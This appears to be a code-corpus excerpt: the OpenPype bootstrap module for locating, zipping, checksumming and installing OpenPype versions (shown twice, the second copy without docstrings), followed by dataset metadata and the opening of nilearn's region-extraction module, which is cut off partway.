self._print(f"latest version found is [ {versions[-1]} ]") return self.install_version(versions[-1]) # if we got here, it means that location is "live" # OpenPype repository. We'll create zip from it and move it to user # data dir. live_openpype = self.create_version_from_live_code(openpype_path) if not live_openpype.path.exists(): self._print(f"installing zip {live_openpype} failed.", LOG_ERROR) return None # install it return self.install_version(live_openpype) def _print(self, message: str, level: int = LOG_INFO, exc_info: bool = False): """Helper function passing logs to UI and to logger. Supporting 3 levels of logs defined with `LOG_INFO`, `LOG_WARNING` and `LOG_ERROR` constants. Args: message (str): Message to log. level (int, optional): Log level to use. exc_info (bool, optional): Exception info object to pass to logger. """ if self._message: self._message.emit(message, level == LOG_ERROR) if level == LOG_WARNING: self._log.warning(message, exc_info=exc_info) return if level == LOG_ERROR: self._log.error(message, exc_info=exc_info) return self._log.info(message, exc_info=exc_info) def extract_openpype(self, version: OpenPypeVersion) -> Union[Path, None]: """Extract zipped OpenPype version to user data directory. Args: version (OpenPypeVersion): Version of OpenPype. Returns: Path: path to extracted version. None: if something failed. """ if not version.path: raise ValueError( f"version {version} is not associated with any file") destination = self.data_dir / version.path.stem if destination.exists(): assert destination.is_dir() try: shutil.rmtree(destination) except OSError as e: msg = f"!!! Cannot remove already existing {destination}" self._print(msg, LOG_ERROR, exc_info=True) raise e destination.mkdir(parents=True) # extract zip there self._print("Extracting zip to destination ...") with ZipFile(version.path, "r") as zip_ref: zip_ref.extractall(destination) self._print(f"Installed as {version.path.stem}") return destination def is_inside_user_data(self, path: Path) -> bool: """Test if version is located in user data dir. Args: path (Path) Path to test. Returns: True if path is inside user data dir. """ is_inside = False try: is_inside = path.resolve().relative_to( self.data_dir) except ValueError: # if relative path cannot be calculated, OpenPype version is not # inside user data dir pass return is_inside def install_version(self, openpype_version: OpenPypeVersion, force: bool = False) -> Path: """Install OpenPype version to user data directory. Args: openpype_version (OpenPypeVersion): OpenPype version to install. force (bool, optional): Force overwrite existing version. Returns: Path: Path to installed OpenPype. Raises: OpenPypeVersionExists: If not forced and this version already exist in user data directory. OpenPypeVersionInvalid: If version to install is invalid. OpenPypeVersionIOError: If copying or zipping fail. """ if self.is_inside_user_data(openpype_version.path) and not openpype_version.path.is_file(): # noqa raise OpenPypeVersionExists( "OpenPype already inside user data dir") # determine destination directory name # for zip file strip suffix, in case of dir use whole dir name if openpype_version.path.is_dir(): dir_name = openpype_version.path.name else: dir_name = openpype_version.path.stem destination = self.data_dir / dir_name # test if destination directory already exist, if so lets delete it. if destination.exists() and force: self._print("removing existing directory") try: shutil.rmtree(destination) except OSError as e: self._print( f"cannot remove already existing {destination}", LOG_ERROR, exc_info=True) raise OpenPypeVersionIOError( f"cannot remove existing {destination}") from e elif destination.exists() and not force: self._print("destination directory already exists") raise OpenPypeVersionExists(f"{destination} already exist.") else: # create destination parent directories even if they don't exist. destination.mkdir(parents=True) # version is directory if openpype_version.path.is_dir(): # create zip inside temporary directory. self._print("Creating zip from directory ...") self._progress_callback(0) with tempfile.TemporaryDirectory() as temp_dir: temp_zip = \ Path(temp_dir) / f"openpype-v{openpype_version}.zip" self._print(f"creating zip: {temp_zip}") self._create_openpype_zip(temp_zip, openpype_version.path) if not os.path.exists(temp_zip): self._print("make archive failed.", LOG_ERROR) raise OpenPypeVersionIOError("Zip creation failed.") # set zip as version source openpype_version.path = temp_zip if self.is_inside_user_data(openpype_version.path): raise OpenPypeVersionInvalid( "Version is in user data dir.") openpype_version.path = self._copy_zip( openpype_version.path, destination) elif openpype_version.path.is_file(): # check if file is zip (by extension) if openpype_version.path.suffix.lower() != ".zip": raise OpenPypeVersionInvalid("Invalid file format") if not self.is_inside_user_data(openpype_version.path): self._progress_callback(35) openpype_version.path = self._copy_zip( openpype_version.path, destination) # extract zip there self._print("extracting zip to destination ...") with ZipFile(openpype_version.path, "r") as zip_ref: self._progress_callback(75) zip_ref.extractall(destination) self._progress_callback(100) return destination def _copy_zip(self, source: Path, destination: Path) -> Path: try: # copy file to destination self._print("Copying zip to destination ...") _destination_zip = destination.parent / source.name # noqa: E501 copyfile( source.as_posix(), _destination_zip.as_posix()) except OSError as e: self._print( "cannot copy version to user data directory", LOG_ERROR, exc_info=True) raise OpenPypeVersionIOError(( f"can't copy version {source.as_posix()} " f"to destination {destination.parent.as_posix()}")) from e return _destination_zip def _is_openpype_in_dir(self, dir_item: Path, detected_version: OpenPypeVersion) -> bool: """Test if path item is OpenPype version matching detected version. If item is directory that might (based on it's name) contain OpenPype version, check if it really does contain OpenPype and that their versions matches. Args: dir_item (Path): Directory to test. detected_version (OpenPypeVersion): OpenPype version detected from name. Returns: True if it is valid OpenPype version, False otherwise. """ try: # add one 'openpype' level as inside dir there should # be many other repositories. version_str = BootstrapRepos.get_version(dir_item) version_check = OpenPypeVersion(version=version_str) except ValueError: self._print( f"cannot determine version from {dir_item}", True) return False version_main = version_check.get_main_version() detected_main = detected_version.get_main_version() if version_main != detected_main: self._print( (f"dir version ({detected_version}) and " f"its content version ({version_check}) " "doesn't match. Skipping.")) return False return True def _is_openpype_in_zip(self, zip_item: Path, detected_version: OpenPypeVersion) -> bool: """Test if zip path is OpenPype version matching detected version. Open zip file, look inside and parse version from OpenPype inside it. If there is none, or it is different from version specified in file name, skip it. Args: zip_item (Path): Zip file to test. detected_version (OpenPypeVersion): Pype version detected from name. Returns: True if it is valid OpenPype version, False otherwise. """ # skip non-zip files if zip_item.suffix.lower() != ".zip": return False try: with ZipFile(zip_item, "r") as zip_file: with zip_file.open( "openpype/version.py") as version_file: zip_version = {} exec(version_file.read(), zip_version) try: version_check = OpenPypeVersion( version=zip_version["__version__"]) except ValueError as e: self._print(str(e), True) return False version_main = version_check.get_main_version() # noqa: E501 detected_main = detected_version.get_main_version() # noqa: E501 if version_main != detected_main: self._print( (f"zip version ({detected_version}) " f"and its content version " f"({version_check}) " "doesn't match. Skipping."), True) return False except BadZipFile: self._print(f"{zip_item} is not a zip file", True) return False except KeyError: self._print("Zip does not contain OpenPype", True) return False return True def get_openpype_versions(self, openpype_dir: Path, staging: bool = False) -> list: """Get all detected OpenPype versions in directory. Args: openpype_dir (Path): Directory to scan. staging (bool, optional): Find staging versions if True. Returns: list of OpenPypeVersion Throws: ValueError: if invalid path is specified. """ if not openpype_dir.exists() and not openpype_dir.is_dir(): raise ValueError("specified directory is invalid") _openpype_versions = [] # iterate over directory in first level and find all that might # contain OpenPype. for item in openpype_dir.iterdir(): # if file, strip extension, in case of dir not. name = item.name if item.is_dir() else item.stem result = OpenPypeVersion.version_in_str(name) if result[0]: detected_version: OpenPypeVersion detected_version = result[1] if item.is_dir() and not self._is_openpype_in_dir( item, detected_version ): continue if item.is_file() and not self._is_openpype_in_zip( item, detected_version ): continue detected_version.path = item if staging and detected_version.is_staging(): _openpype_versions.append(detected_version) if not staging and not detected_version.is_staging(): _openpype_versions.append(detected_version) return sorted(_openpype_versions) class OpenPypeVersionExists(Exception): """Exception for handling existing OpenPype version.""" pass class OpenPypeVersionInvalid(Exception): """Exception for handling invalid OpenPype version.""" pass class OpenPypeVersionIOError(Exception): """Exception for handling IO errors in OpenPype version.""" pass

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from __future__ import annotations import logging as log import os import re import shutil import sys import tempfile from pathlib import Path from typing import Union, Callable, List, Tuple import hashlib from zipfile import ZipFile, BadZipFile from appdirs import user_data_dir from speedcopy import copyfile import semver from .user_settings import ( OpenPypeSecureRegistry, OpenPypeSettingsRegistry ) from .tools import get_openpype_path_from_db LOG_INFO = 0 LOG_WARNING = 1 LOG_ERROR = 3 def sha256sum(filename): h = hashlib.sha256() b = bytearray(128 * 1024) mv = memoryview(b) with open(filename, 'rb', buffering=0) as f: for n in iter(lambda: f.readinto(mv), 0): h.update(mv[:n]) return h.hexdigest() class OpenPypeVersion(semver.VersionInfo): staging = False path = None _VERSION_REGEX = re.compile(r"(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$") def __init__(self, *args, **kwargs): self.path = None self.staging = False if "version" in kwargs.keys(): if not kwargs.get("version"): raise ValueError("Invalid version specified") v = OpenPypeVersion.parse(kwargs.get("version")) kwargs["major"] = v.major kwargs["minor"] = v.minor kwargs["patch"] = v.patch kwargs["prerelease"] = v.prerelease kwargs["build"] = v.build kwargs.pop("version") if kwargs.get("path"): if isinstance(kwargs.get("path"), str): self.path = Path(kwargs.get("path")) elif isinstance(kwargs.get("path"), Path): self.path = kwargs.get("path") else: raise TypeError("Path must be str or Path") kwargs.pop("path") if "path" in kwargs.keys(): kwargs.pop("path") if kwargs.get("staging"): self.staging = kwargs.get("staging", False) kwargs.pop("staging") if "staging" in kwargs.keys(): kwargs.pop("staging") if self.staging: if kwargs.get("build"): if "staging" not in kwargs.get("build"): kwargs["build"] = "{}-staging".format(kwargs.get("build")) else: kwargs["build"] = "staging" if kwargs.get("build") and "staging" in kwargs.get("build", ""): self.staging = True super().__init__(*args, **kwargs) def __eq__(self, other): result = super().__eq__(other) return bool(result and self.staging == other.staging) def __repr__(self): return "<{}: {} - path={}>".format( self.__class__.__name__, str(self), self.path) def __lt__(self, other: OpenPypeVersion): result = super().__lt__(other) if self == other and not self.path and other.path: return True if self == other and self.path and other.path and \ other.path.is_dir() and self.path.is_file(): return True if self.finalize_version() == other.finalize_version() and \ self.prerelease == other.prerelease and \ self.is_staging() and not other.is_staging(): return True return result def set_staging(self) -> OpenPypeVersion: if self.staging: return self return self.replace(parts={"build": f"{self.build}-staging"}) def set_production(self) -> OpenPypeVersion: if not self.staging: return self return self.replace( parts={"build": self.build.replace("-staging", "")}) def is_staging(self) -> bool: return self.staging def get_main_version(self) -> str: return str(self.finalize_version()) @staticmethod def version_in_str(string: str) -> Tuple: m = re.search(OpenPypeVersion._VERSION_REGEX, string) if not m: return False, None version = OpenPypeVersion.parse(string[m.start():m.end()]) return True, version @classmethod def parse(cls, version): v = super().parse(version) openpype_version = cls(major=v.major, minor=v.minor, patch=v.patch, prerelease=v.prerelease, build=v.build) if v.build and "staging" in v.build: openpype_version.staging = True return openpype_version def __hash__(self): if self.path: return hash(self.path) else: return hash(str(self)) class BootstrapRepos: def __init__(self, progress_callback: Callable = None, message=None): self._vendor = "pypeclub" self._app = "openpype" self._log = log.getLogger(str(__class__)) self.data_dir = Path(user_data_dir(self._app, self._vendor)) self.secure_registry = OpenPypeSecureRegistry("mongodb") self.registry = OpenPypeSettingsRegistry() self.zip_filter = [".pyc", "__pycache__"] self.openpype_filter = [ "openpype", "repos", "schema", "LICENSE" ] self._message = message def empty_progress(x: int): return x if not progress_callback: progress_callback = empty_progress self._progress_callback = progress_callback if getattr(sys, "frozen", False): self.live_repo_dir = Path(sys.executable).parent / "repos" else: self.live_repo_dir = Path(Path(__file__).parent / ".." / "repos") @staticmethod def get_version_path_from_list( version: str, version_list: list) -> Union[Path, None]: for v in version_list: if str(v) == version: return v.path return None @staticmethod def get_local_live_version() -> str: version = {} path = Path(os.environ["OPENPYPE_ROOT"]) / "openpype" / "version.py" with open(path, "r") as fp: exec(fp.read(), version) return version["__version__"] @staticmethod def get_version(repo_dir: Path) -> Union[str, None]: version_file = Path(repo_dir) / "openpype" / "version.py" if not version_file.exists(): return None version = {} with version_file.open("r") as fp: exec(fp.read(), version) return version['__version__'] def create_version_from_live_code( self, repo_dir: Path = None) -> Union[OpenPypeVersion, None]: if not repo_dir: version = self.get_local_live_version() repo_dir = self.live_repo_dir else: version = self.get_version(repo_dir) if not version: self._print("OpenPype not found.", LOG_ERROR) return if not self.data_dir.exists(): self.data_dir.mkdir(parents=True) with tempfile.TemporaryDirectory() as temp_dir: temp_zip = \ Path(temp_dir) / f"openpype-v{version}.zip" self._print(f"creating zip: {temp_zip}") self._create_openpype_zip(temp_zip, repo_dir.parent) if not os.path.exists(temp_zip): self._print("make archive failed.", LOG_ERROR) return None destination = self._move_zip_to_data_dir(temp_zip) return OpenPypeVersion(version=version, path=destination) def _move_zip_to_data_dir(self, zip_file) -> Union[None, Path]: destination = self.data_dir / zip_file.name if destination.exists(): self._print( f"Destination file {destination} exists, removing.", LOG_WARNING) try: destination.unlink() except Exception as e: self._print(str(e), LOG_ERROR, exc_info=True) return None try: shutil.move(zip_file.as_posix(), self.data_dir.as_posix()) except shutil.Error as e: self._print(str(e), LOG_ERROR, exc_info=True) return None return destination def _filter_dir(self, path: Path, path_filter: List) -> List[Path]: result = [] for item in path.iterdir(): if item.name in path_filter: continue if item.name.startswith('.'): continue if item.is_dir(): result.extend(self._filter_dir(item, path_filter)) else: result.append(item) return result def create_version_from_frozen_code(self) -> Union[None, OpenPypeVersion]: frozen_root = Path(sys.executable).parent openpype_list = [] for f in self.openpype_filter: if (frozen_root / f).is_dir(): openpype_list += self._filter_dir( frozen_root / f, self.zip_filter) else: openpype_list.append(frozen_root / f) version = self.get_version(frozen_root) with tempfile.TemporaryDirectory() as temp_dir: temp_zip = \ Path(temp_dir) / f"openpype-v{version}.zip" self._print(f"creating zip: {temp_zip}") with ZipFile(temp_zip, "w") as zip_file: progress = 0 openpype_inc = 98.0 / float(len(openpype_list)) file: Path for file in openpype_list: progress += openpype_inc self._progress_callback(int(progress)) arc_name = file.relative_to(frozen_root.parent) arc_name = Path().joinpath(*arc_name.parts[1:]) zip_file.write(file, arc_name) destination = self._move_zip_to_data_dir(temp_zip) return OpenPypeVersion(version=version, path=destination) def _create_openpype_zip(self, zip_path: Path, openpype_path: Path) -> None: openpype_list = [] for f in self.openpype_filter: if (openpype_path / f).is_dir(): openpype_list += self._filter_dir( openpype_path / f, self.zip_filter) else: openpype_list.append(openpype_path / f) openpype_files = len(openpype_list) openpype_inc = 98.0 / float(openpype_files) with ZipFile(zip_path, "w") as zip_file: progress = 0 openpype_root = openpype_path.resolve() dir_filter = [openpype_root / f for f in self.openpype_filter] checksums = [] file: Path for file in openpype_list: progress += openpype_inc self._progress_callback(int(progress)) is_inside = None df: Path for df in dir_filter: try: is_inside = file.resolve().relative_to(df) except ValueError: pass if not is_inside: continue processed_path = file self._print(f"- processing {processed_path}") checksums.append( ( sha256sum(file.as_posix()), file.resolve().relative_to(openpype_root) ) ) zip_file.write( file, file.resolve().relative_to(openpype_root)) checksums_str = "" for c in checksums: checksums_str += "{}:{}\n".format(c[0], c[1]) zip_file.writestr("checksums", checksums_str) zip_file.testzip() self._progress_callback(100) def validate_openpype_version(self, path: Path) -> tuple: if not path.exists(): return False, "Path doesn't exist" if path.is_file(): return self._validate_zip(path) return self._validate_dir(path) @staticmethod def _validate_zip(path: Path) -> tuple: with ZipFile(path, "r") as zip_file: # read checksums try: checksums_data = str(zip_file.read("checksums")) except IOError: # FIXME: This should be set to False sometimes in the future return True, "Cannot read checksums for archive." # split it to the list of tuples checksums = [ tuple(line.split(":")) for line in checksums_data.split("\n") if line ] # calculate and compare checksums in the zip file for file in checksums: h = hashlib.sha256() try: h.update(zip_file.read(file[1])) except FileNotFoundError: return False, f"Missing file [ {file[1]} ]" if h.hexdigest() != file[0]: return False, f"Invalid checksum on {file[1]}" # get list of files in zip minus `checksums` file itself # and turn in to set to compare against list of files # from checksum file. If difference exists, something is # wrong files_in_zip = zip_file.namelist() files_in_zip.remove("checksums") files_in_zip = set(files_in_zip) files_in_checksum = set([file[1] for file in checksums]) diff = files_in_zip.difference(files_in_checksum) if diff: return False, f"Missing files {diff}" return True, "All ok" @staticmethod def _validate_dir(path: Path) -> tuple: checksums_file = Path(path / "checksums") if not checksums_file.exists(): # FIXME: This should be set to False sometimes in the future return True, "Cannot read checksums for archive." checksums_data = checksums_file.read_text() checksums = [ tuple(line.split(":")) for line in checksums_data.split("\n") if line ] files_in_dir = [ file.relative_to(path).as_posix() for file in path.iterdir() if file.is_file() ] files_in_dir.remove("checksums") files_in_dir = set(files_in_dir) files_in_checksum = set([file[1] for file in checksums]) for file in checksums: try: current = sha256sum((path / file[1]).as_posix()) except FileNotFoundError: return False, f"Missing file [ {file[1]} ]" if file[0] != current: return False, f"Invalid checksum on {file[1]}" diff = files_in_dir.difference(files_in_checksum) if diff: return False, f"Missing files {diff}" return True, "All ok" @staticmethod def add_paths_from_archive(archive: Path) -> None: if not archive.is_file() and not archive.exists(): raise ValueError("Archive is not file.") with ZipFile(archive, "r") as zip_file: name_list = zip_file.namelist() roots = [] paths = [] for item in name_list: if not item.startswith("repos/"): continue root = item.split("/")[1] if root not in roots: roots.append(root) paths.append( f"{archive}{os.path.sep}repos{os.path.sep}{root}") sys.path.insert(0, paths[-1]) sys.path.insert(0, f"{archive}") pythonpath = os.getenv("PYTHONPATH", "") python_paths = pythonpath.split(os.pathsep) python_paths += paths os.environ["PYTHONPATH"] = os.pathsep.join(python_paths) @staticmethod def add_paths_from_directory(directory: Path) -> None: sys.path.insert(0, directory.as_posix()) directory /= "repos" if not directory.exists() and not directory.is_dir(): raise ValueError("directory is invalid") roots = [] for item in directory.iterdir(): if item.is_dir(): root = item.as_posix() if root not in roots: roots.append(root) sys.path.insert(0, root) pythonpath = os.getenv("PYTHONPATH", "") paths = pythonpath.split(os.pathsep) paths += roots os.environ["PYTHONPATH"] = os.pathsep.join(paths) def find_openpype( self, openpype_path: Union[Path, str] = None, staging: bool = False, include_zips: bool = False) -> Union[List[OpenPypeVersion], None]: if openpype_path and not isinstance(openpype_path, Path): raise NotImplementedError( ("Finding OpenPype in non-filesystem locations is" " not implemented yet.")) dir_to_search = self.data_dir user_versions = self.get_openpype_versions(self.data_dir, staging) # if we have openpype_path specified, search only there. if openpype_path: dir_to_search = openpype_path else: if os.getenv("OPENPYPE_PATH"): if Path(os.getenv("OPENPYPE_PATH")).exists(): dir_to_search = Path(os.getenv("OPENPYPE_PATH")) else: try: registry_dir = Path( str(self.registry.get_item("openPypePath"))) if registry_dir.exists(): dir_to_search = registry_dir except ValueError: # nothing found in registry, we'll use data dir pass openpype_versions = self.get_openpype_versions(dir_to_search, staging) openpype_versions += user_versions if not include_zips: openpype_versions = [ v for v in openpype_versions if v.path.suffix != ".zip" ] openpype_versions = sorted(list(set(openpype_versions))) return openpype_versions def process_entered_location(self, location: str) -> Union[Path, None]: openpype_path = None if location.startswith("mongodb"): openpype_path = get_openpype_path_from_db(location) if not openpype_path: self._print("cannot find OPENPYPE_PATH in settings.") return None if not openpype_path: openpype_path = Path(location) if not openpype_path.exists(): self._print(f"{openpype_path} doesn't exists.") return None # test if entered path isn't user data dir if self.data_dir == openpype_path: self._print("cannot point to user data dir", LOG_ERROR) return None versions = self.find_openpype(openpype_path, include_zips=True) if versions: self._print(f"found OpenPype in [ {openpype_path} ]") self._print(f"latest version found is [ {versions[-1]} ]") return self.install_version(versions[-1]) # data dir. live_openpype = self.create_version_from_live_code(openpype_path) if not live_openpype.path.exists(): self._print(f"installing zip {live_openpype} failed.", LOG_ERROR) return None # install it return self.install_version(live_openpype) def _print(self, message: str, level: int = LOG_INFO, exc_info: bool = False): if self._message: self._message.emit(message, level == LOG_ERROR) if level == LOG_WARNING: self._log.warning(message, exc_info=exc_info) return if level == LOG_ERROR: self._log.error(message, exc_info=exc_info) return self._log.info(message, exc_info=exc_info) def extract_openpype(self, version: OpenPypeVersion) -> Union[Path, None]: if not version.path: raise ValueError( f"version {version} is not associated with any file") destination = self.data_dir / version.path.stem if destination.exists(): assert destination.is_dir() try: shutil.rmtree(destination) except OSError as e: msg = f"!!! Cannot remove already existing {destination}" self._print(msg, LOG_ERROR, exc_info=True) raise e destination.mkdir(parents=True) # extract zip there self._print("Extracting zip to destination ...") with ZipFile(version.path, "r") as zip_ref: zip_ref.extractall(destination) self._print(f"Installed as {version.path.stem}") return destination def is_inside_user_data(self, path: Path) -> bool: is_inside = False try: is_inside = path.resolve().relative_to( self.data_dir) except ValueError: # if relative path cannot be calculated, OpenPype version is not # inside user data dir pass return is_inside def install_version(self, openpype_version: OpenPypeVersion, force: bool = False) -> Path: if self.is_inside_user_data(openpype_version.path) and not openpype_version.path.is_file(): # noqa raise OpenPypeVersionExists( "OpenPype already inside user data dir") # determine destination directory name # for zip file strip suffix, in case of dir use whole dir name if openpype_version.path.is_dir(): dir_name = openpype_version.path.name else: dir_name = openpype_version.path.stem destination = self.data_dir / dir_name # test if destination directory already exist, if so lets delete it. if destination.exists() and force: self._print("removing existing directory") try: shutil.rmtree(destination) except OSError as e: self._print( f"cannot remove already existing {destination}", LOG_ERROR, exc_info=True) raise OpenPypeVersionIOError( f"cannot remove existing {destination}") from e elif destination.exists() and not force: self._print("destination directory already exists") raise OpenPypeVersionExists(f"{destination} already exist.") else: # create destination parent directories even if they don't exist. destination.mkdir(parents=True) if openpype_version.path.is_dir(): self._print("Creating zip from directory ...") self._progress_callback(0) with tempfile.TemporaryDirectory() as temp_dir: temp_zip = \ Path(temp_dir) / f"openpype-v{openpype_version}.zip" self._print(f"creating zip: {temp_zip}") self._create_openpype_zip(temp_zip, openpype_version.path) if not os.path.exists(temp_zip): self._print("make archive failed.", LOG_ERROR) raise OpenPypeVersionIOError("Zip creation failed.") openpype_version.path = temp_zip if self.is_inside_user_data(openpype_version.path): raise OpenPypeVersionInvalid( "Version is in user data dir.") openpype_version.path = self._copy_zip( openpype_version.path, destination) elif openpype_version.path.is_file(): if openpype_version.path.suffix.lower() != ".zip": raise OpenPypeVersionInvalid("Invalid file format") if not self.is_inside_user_data(openpype_version.path): self._progress_callback(35) openpype_version.path = self._copy_zip( openpype_version.path, destination) self._print("extracting zip to destination ...") with ZipFile(openpype_version.path, "r") as zip_ref: self._progress_callback(75) zip_ref.extractall(destination) self._progress_callback(100) return destination def _copy_zip(self, source: Path, destination: Path) -> Path: try: self._print("Copying zip to destination ...") _destination_zip = destination.parent / source.name copyfile( source.as_posix(), _destination_zip.as_posix()) except OSError as e: self._print( "cannot copy version to user data directory", LOG_ERROR, exc_info=True) raise OpenPypeVersionIOError(( f"can't copy version {source.as_posix()} " f"to destination {destination.parent.as_posix()}")) from e return _destination_zip def _is_openpype_in_dir(self, dir_item: Path, detected_version: OpenPypeVersion) -> bool: try: # add one 'openpype' level as inside dir there should # be many other repositories. version_str = BootstrapRepos.get_version(dir_item) version_check = OpenPypeVersion(version=version_str) except ValueError: self._print( f"cannot determine version from {dir_item}", True) return False version_main = version_check.get_main_version() detected_main = detected_version.get_main_version() if version_main != detected_main: self._print( (f"dir version ({detected_version}) and " f"its content version ({version_check}) " "doesn't match. Skipping.")) return False return True def _is_openpype_in_zip(self, zip_item: Path, detected_version: OpenPypeVersion) -> bool: if zip_item.suffix.lower() != ".zip": return False try: with ZipFile(zip_item, "r") as zip_file: with zip_file.open( "openpype/version.py") as version_file: zip_version = {} exec(version_file.read(), zip_version) try: version_check = OpenPypeVersion( version=zip_version["__version__"]) except ValueError as e: self._print(str(e), True) return False version_main = version_check.get_main_version() detected_main = detected_version.get_main_version() if version_main != detected_main: self._print( (f"zip version ({detected_version}) " f"and its content version " f"({version_check}) " "doesn't match. Skipping."), True) return False except BadZipFile: self._print(f"{zip_item} is not a zip file", True) return False except KeyError: self._print("Zip does not contain OpenPype", True) return False return True def get_openpype_versions(self, openpype_dir: Path, staging: bool = False) -> list: if not openpype_dir.exists() and not openpype_dir.is_dir(): raise ValueError("specified directory is invalid") _openpype_versions = [] # iterate over directory in first level and find all that might # contain OpenPype. for item in openpype_dir.iterdir(): # if file, strip extension, in case of dir not. name = item.name if item.is_dir() else item.stem result = OpenPypeVersion.version_in_str(name) if result[0]: detected_version: OpenPypeVersion detected_version = result[1] if item.is_dir() and not self._is_openpype_in_dir( item, detected_version ): continue if item.is_file() and not self._is_openpype_in_zip( item, detected_version ): continue detected_version.path = item if staging and detected_version.is_staging(): _openpype_versions.append(detected_version) if not staging and not detected_version.is_staging(): _openpype_versions.append(detected_version) return sorted(_openpype_versions) class OpenPypeVersionExists(Exception): pass class OpenPypeVersionInvalid(Exception): pass class OpenPypeVersionIOError(Exception): pass

true

f7f35918484f8e938d7450e0eede5fea0d849ebb

14,752

py

Python

nilearn/regions/region_extractor.py

iglpdc/nilearn

a4cc998b7a34fa48a77ce46f9f0b6b4e75d8a2d1

[ "BSD-2-Clause" ]

1

2019-11-26T07:14:52.000Z

nilearn/regions/region_extractor.py

iglpdc/nilearn

a4cc998b7a34fa48a77ce46f9f0b6b4e75d8a2d1

[ "BSD-2-Clause" ]

null

nilearn/regions/region_extractor.py

iglpdc/nilearn

a4cc998b7a34fa48a77ce46f9f0b6b4e75d8a2d1

[ "BSD-2-Clause" ]

1

2020-06-16T15:36:22.000Z

""" Better brain parcellations for Region of Interest analysis """ import numbers import numpy as np from scipy.ndimage import label from scipy.stats import scoreatpercentile from sklearn.externals.joblib import Memory from .. import masking from ..input_data import NiftiMapsMasker from .._utils import check_niimg, check_niimg_4d from ..image import new_img_like, resample_img from ..image.image import _smooth_array, threshold_img from .._utils.niimg_conversions import concat_niimgs, _check_same_fov from .._utils.niimg import _safe_get_data from .._utils.compat import _basestring from .._utils.ndimage import _peak_local_max from .._utils.segmentation import _random_walker def _threshold_maps_ratio(maps_img, threshold): """ Automatic thresholding of atlas maps image. Considers the given threshold as a ratio to the total number of voxels in the brain volume. This gives a certain number within the data voxel size which means that nonzero voxels which fall above than this size will be kept across all the maps. Parameters ---------- maps_img: Niimg-like object an image of brain atlas maps. threshold: float If float, value is used as a ratio to n_voxels to get a certain threshold size in number to threshold the image. The value should be positive and within the range of number of maps (i.e. n_maps in 4th dimension). Returns ------- threshold_maps_img: Nifti1Image gives us thresholded image. """ maps = check_niimg(maps_img) n_maps = maps.shape[-1] if not isinstance(threshold, numbers.Real) or threshold <= 0 or threshold > n_maps: raise ValueError("threshold given as ratio to the number of voxels must " "be Real number and should be positive and between 0 and " "total number of maps i.e. n_maps={0}. " "You provided {1}".format(n_maps, threshold)) else: ratio = threshold maps_data = np.nan_to_num(maps.get_data()) abs_maps = np.abs(maps_data) # thresholding cutoff_threshold = scoreatpercentile( abs_maps, 100. - (100. / n_maps) * ratio) maps_data[abs_maps < cutoff_threshold] = 0. threshold_maps_img = new_img_like(maps, maps_data) return threshold_maps_img def connected_regions(maps_img, min_region_size=1350, extract_type='local_regions', smoothing_fwhm=6, mask_img=None): """ Extraction of brain connected regions into separate regions. Note: the region size should be defined in mm^3. See the documentation for more details. .. versionadded:: 0.2 Parameters ---------- maps_img: Niimg-like object an image of brain activation or atlas maps to be extracted into set of separate brain regions. min_region_size: int, default 1350 mm^3, optional Minimum volume in mm3 for a region to be kept. For example, if the voxel size is 3x3x3 mm then the volume of the voxel is 27mm^3. By default, it is 1350mm^3 which means we take minimum size of 1350 / 27 = 50 voxels. extract_type: str {'connected_components', 'local_regions'} \ default local_regions, optional If 'connected_components', each component/region in the image is extracted automatically by labelling each region based upon the presence of unique features in their respective regions. If 'local_regions', each component/region is extracted based on their maximum peak value to define a seed marker and then using random walker segementation algorithm on these markers for region separation. smoothing_fwhm: scalar, default 6mm, optional To smooth an image to extract most sparser regions. This parameter is passed `_smooth_array` and exists only for extract_type 'local_regions'. mask_img: Niimg-like object, default None If given, mask image is applied to input data. If None, no masking is applied. Returns ------- regions_extracted_img: Nifti1Image gives the image in 4D of extracted brain regions. Each 3D image consists of only one separated region. index_of_each_map: numpy array an array of list of indices where each index denotes the identity of each extracted region to their family of brain maps. """ all_regions_imgs = [] index_of_each_map = [] maps_img = check_niimg(maps_img, atleast_4d=True) maps = _safe_get_data(maps_img).copy() affine = maps_img.get_affine() min_region_size = min_region_size / np.prod(np.diag(abs(affine[:3]))) allowed_extract_types = ['connected_components', 'local_regions'] if extract_type not in allowed_extract_types: message = ("'extract_type' should be given either of these {0} " "You provided extract_type='{1}'").format(allowed_extract_types, extract_type) raise ValueError(message) if mask_img is not None: if not _check_same_fov(maps_img, mask_img): mask_img = resample_img(mask_img, target_affine=maps_img.get_affine(), target_shape=maps_img.shape[:3], interpolation="nearest") mask_data, _ = masking._load_mask_img(mask_img) # Set as 0 to the values which are outside of the mask maps[mask_data == 0.] = 0. for index in range(maps.shape[-1]): regions = [] map_3d = maps[..., index] # Mark the seeds using random walker if extract_type == 'local_regions': smooth_map = _smooth_array(map_3d, affine=affine, fwhm=smoothing_fwhm) seeds = _peak_local_max(smooth_map) seeds_label, seeds_id = label(seeds) # Assign -1 to values which are 0. to indicate to ignore seeds_label[map_3d == 0.] = -1 rw_maps = _random_walker(map_3d, seeds_label) # Now simply replace "-1" with "0" for regions separation rw_maps[rw_maps == -1] = 0. label_maps = rw_maps else: # Connected component extraction label_maps, n_labels = label(map_3d) # Takes the size of each labelized region data labels_size = np.bincount(label_maps.ravel()) # set background labels sitting in zero index to zero labels_size[0] = 0. for label_id, label_size in enumerate(labels_size): if label_size > min_region_size: region_data = (label_maps == label_id) * map_3d region_img = new_img_like(maps_img, region_data) regions.append(region_img) index_of_each_map.extend([index] * len(regions)) all_regions_imgs.extend(regions) regions_extracted_img = concat_niimgs(all_regions_imgs) return regions_extracted_img, index_of_each_map class RegionExtractor(NiftiMapsMasker): """Class for brain region extraction. Region Extraction is a post processing technique which is implemented to automatically segment each brain atlas maps into different set of separated brain activated region. Particularly, to show that each decomposed brain maps can be used to focus on a target specific Regions of Interest analysis. .. versionadded:: 0.2 Parameters ---------- maps_img: 4D Niimg-like object Image containing a set of whole brain atlas maps or statistically decomposed brain maps. mask_img: Niimg-like object or None, default None, optional Mask to be applied to input data, passed to NiftiMapsMasker. If None, no masking is applied. min_region_size: int, default 1350 mm^3, optional Minimum volume in mm3 for a region to be kept. For example, if the voxel size is 3x3x3 mm then the volume of the voxel is 27mm^3. By 